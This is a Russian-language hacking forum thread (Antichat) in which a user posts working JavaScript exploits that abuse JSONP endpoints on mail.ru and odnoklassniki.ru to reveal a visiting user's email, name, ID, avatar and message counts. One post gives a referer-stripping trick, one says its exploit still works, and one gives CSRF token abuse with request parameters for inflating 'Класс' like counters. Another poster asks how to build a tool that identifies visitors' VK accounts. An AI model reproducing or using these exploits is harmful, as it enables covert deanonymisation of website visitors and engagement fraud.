HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ИНФО > Статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 27.09.2012, 13:33
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами: 11322426

Репутация: 0
По умолчанию

Цитата:
Сообщение от peektoseen  
А что такое РОА?
Описание групп на форуме АНТИЧАТ - /thread17259.html
 
Ответить с цитированием

  #12  
Старый 28.09.2012, 15:31
mav1
Новичок
Регистрация: 27.09.2012
Сообщений: 22
С нами: 7170806

Репутация: 0
По умолчанию

объяснил неплохо,буду пробывать
 
Ответить с цитированием

  #13  
Старый 11.11.2014, 05:02
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами: 11322426

Репутация: 0
По умолчанию

Цитата:
Сообщение от WendM  
Может уже можно выкатить в паблик всю статью? Было бы интересно почитать
Еще не пора, потому что есть примеры, которые до сих пор работают. Но все равно выложу.

Сначала то, что уже пофиксили:

--------------------------------------------------

Логин на Яндексе



(нашел Uex Urgent)

upd:

Ящик mail.ru

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/
COLOR][COLOR="#0000BB"]onload[/COLOR][COLOR="#007700"]= function()

{

var[/COLOR][COLOR="#0000BB"]s[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]createElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'script'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]s[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]src[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'http://swa.mail.ru/cgi-bin/counters?JSONP_call=a'[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]getElementsByTagName[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'head'[/COLOR][COLOR="#007700"])[[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]appendChild[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]s[/COLOR][COLOR="#007700"]);

};

function[/
COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"])

{

[/
COLOR][COLOR="#0000BB"]alert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]data[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]email[/COLOR][COLOR="#007700"]);

};

[/
COLOR][COLOR="#0000BB"][/COLOR][/COLOR
(нашел Uex Urgent)

--------------------------------------------------

Баг на mail.ru, позволяющий узнать ящик пользователя, попытались пофиксить.

При запросе http://swa.mail.ru/cgi-bin/counters?JSONP_call=a теперь проверяется, чтобы сайт в реферере принадлежал мэйлру. Но если реферера нет, все работает нормально.

Используем протокол data, чтобы убрать реферер:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR
--------------------------------------------------

Количество непрочитанных сообщений в ящике mail.ru

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/
COLOR][COLOR="#0000BB"]onload[/COLOR][COLOR="#007700"]= function()

{

[/
COLOR][COLOR="#0000BB"]_Counters[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]Object[/COLOR][COLOR="#007700"]();

[/
COLOR][COLOR="#0000BB"]_Counters[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]prepare[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"];

var[/COLOR][COLOR="#0000BB"]s[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]createElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'script'[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]s[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]src[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'http://my.mail.ru/mail/anyname/counters'[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]getElementsByTagName[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'head'[/COLOR][COLOR="#007700"])[[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]appendChild[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]s[/COLOR][COLOR="#007700"]);

};

function[/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"])

{

[/COLOR][COLOR="#0000BB"]alert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]MailUnreadMessages[/COLOR][COLOR="#007700"]);

};

[/COLOR][COLOR="#0000BB"][/COLOR][/COLOR
Немного оффтопа:

По той же ссылке http://my.mail.ru/mail/anyname/counters кроме счетчика писем есть счетчики данных из соц.сети "Мой Мир" - непрочтенные сообщения, приглашения в сообщества, заявки в друзья. Смотреть можно не только свои данные, но и любого другого юзера соц.сети. Информацию о username@domain.ru можно посмотреть по ссылке http://my.mail.ru/domain/username/counters

Примечание: счетчик писем в ящике всегда показывает свое значение, независимо от пути в адресе counters

--------------------------------------------------
 
Ответить с цитированием

  #14  
Старый 11.11.2014, 05:07
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами: 11322426

Репутация: 0
По умолчанию

Найдено в январе 2012, работает до сих пор:

--------------------------------------------------

Имя, фамилия на odnoklassniki.ru

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/COLOR][COLOR="#0000BB"]onload[/COLOR][COLOR="#007700"]= function()

{

var
[/COLOR][COLOR="#0000BB"]s[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]createElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'script'[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]s[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]src[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'http://www.odnoklassniki.ru/mapi?query={"cmd":"getCounters","jsonPrefix":"a"}'[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]getElementsByTagName[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'head'[/COLOR][COLOR="#007700"])[[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]appendChild[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]s[/COLOR][COLOR="#007700"]);

};

function[/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"])

{

[/COLOR][COLOR="#0000BB"]alert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]data[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]firstName[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#DD0000"]' '[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]data[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]lastName[/COLOR][COLOR="#007700"]);

};

[/COLOR][COLOR="#0000BB"][/COLOR][/COLOR
Примечаение: в реферере должен быть домен *.mail.ru

--------------------------------------------------
 
Ответить с цитированием

  #15  
Старый 11.11.2014, 05:35
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами: 11322426

Репутация: 0
По умолчанию

Достаточно ценный баг. Умеет превращать дешевый траф в дорогие классы на сайтах. Работал 2 года, но после этого поста жить ему осталось не больше недели.

--------------------------------------------------

odnoklassniki.ru

Имя, фамилия, ID пользователя, ссылка на аватар.

Реферер не проверяется.

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/COLOR][COLOR="#0000BB"]onload[/COLOR][COLOR="#007700"]= function()

{

var
[/COLOR][COLOR="#0000BB"]s[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]createElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'script'[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]s[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]src[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'http://www.odnoklassniki.ru/dk?st.cmd=shareData&ref=http://mail.ru/&cb=a'[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]head[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]appendChild[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]s[/COLOR][COLOR="#007700"]);

};

function[/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"])

{

if([/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]status[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#DD0000"]'ok'[/COLOR][COLOR="#007700"])

{

[/
COLOR][COLOR="#0000BB"]alert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'Name: '[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]name[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#DD0000"]'\nUserID: '[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]uid[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// алерт с именем, фамилией, id

[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]Image[/COLOR][COLOR="#007700"]();

[/
COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]src[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]avatarURL[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'&'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'&'[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// выводим аватар на страницу нашего сайта

[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]body[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]appendChild[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"]);

}

else

{

[/
COLOR][COLOR="#0000BB"]alert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'Не авторизован'[/COLOR][COLOR="#007700"]);

}

};


[/COLOR][COLOR="#0000BB"][/COLOR][/COLOR
ID пользователя дает ссылку на профиль - http://www.odnoklassniki.ru/profile/USERID

photoType в avatarURL влияет на размер фото.

UPD:

Также в ответе сервера передается значение sign, которое используется как CSRF-токен при нажатии кнопки "Класс" на сайтах (http://api.mail.ru/sites/plugins/share/). Можно накрутить счетчик на любом сайте.

При получении sign в параметре ref должна быть ссылка, на которой находится кнопка "Класс".

http://www.odnoklassniki.ru/dk?st.cmd=shareData&ref=ССЫЛКА_НА_СТРАНИЦУ_С_КНОПКО Й&cb=a

POST-запрос на http://connect.mail.ru/share. Параметры запроса (в url то же, что в ref из первого запроса):

ubershare=1

postType=share_like

url=ССЫЛКА_НА_СТРАНИЦУ_С_КНОПКО Й

submitted=1

comment=КОММЕНТАРИЙ

ok_uid=USERID

ok_sig=SIGN


--------------------------------------------------
 
Ответить с цитированием

  #16  
Старый 14.03.2015, 23:47
Nyter
Познающий
Регистрация: 30.08.2009
Сообщений: 96
С нами: 8788413

Репутация: 3
По умолчанию

M_script, очень интересно узнать технологию работы таких сервисов как sосfish и smmmаnagеr, позволяющих отследить ID VK пришедшего на сайт или прошедшего по ссылке пользователя. В Интернете есть немного инфы о том в каком направлении нужно работать (например здесь http://habrahabr.ru/post/228617/ и https://talk.pr-cy.ru/topic/8957-kak-rabotaet-opredelenie-stranitcy-polzovatel/?p=102653), но как сейчас реализовать подобный инструмент для личного использования?

Что касается услуги определения прошедшего по ссылке пользователя в сервисе sосfish, она либо работает некорректно, либо я что то не понимаю, но фактически при прохождении по сгенерированной ссылке идёт перенаправление на приложние-шпион ВК, без дальнейшего перехода на заданную в сервисе целевую страницу.

Вот 2 этапа по которым мы попадаем на страницу приложения:

1.

2.

Наверняка все эти редиректы с параметрами созданы по причине масштабности проекта, что бы каждый "шпион" получал информацию только от своих ссылок, и наверняка эти параметры должны содержать информацию о конечном сайте (на который должен быть направлен пользователь после посещения приложения).

Что происходит в приложении и как реализован сбор информации о посетителе БЕЗ установки этого приложения - для меня остаётся загадка, которую очень хочется разгадать

Скорее всего, сбор информации о посетителях сайта (протестировать пока не решился, т.к. услуга платная и оплачивается единовременно за подключение сайта) происходит с помощью этого же приложения, методом подпихивания его (фрейм?) в основной контент страницы.
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.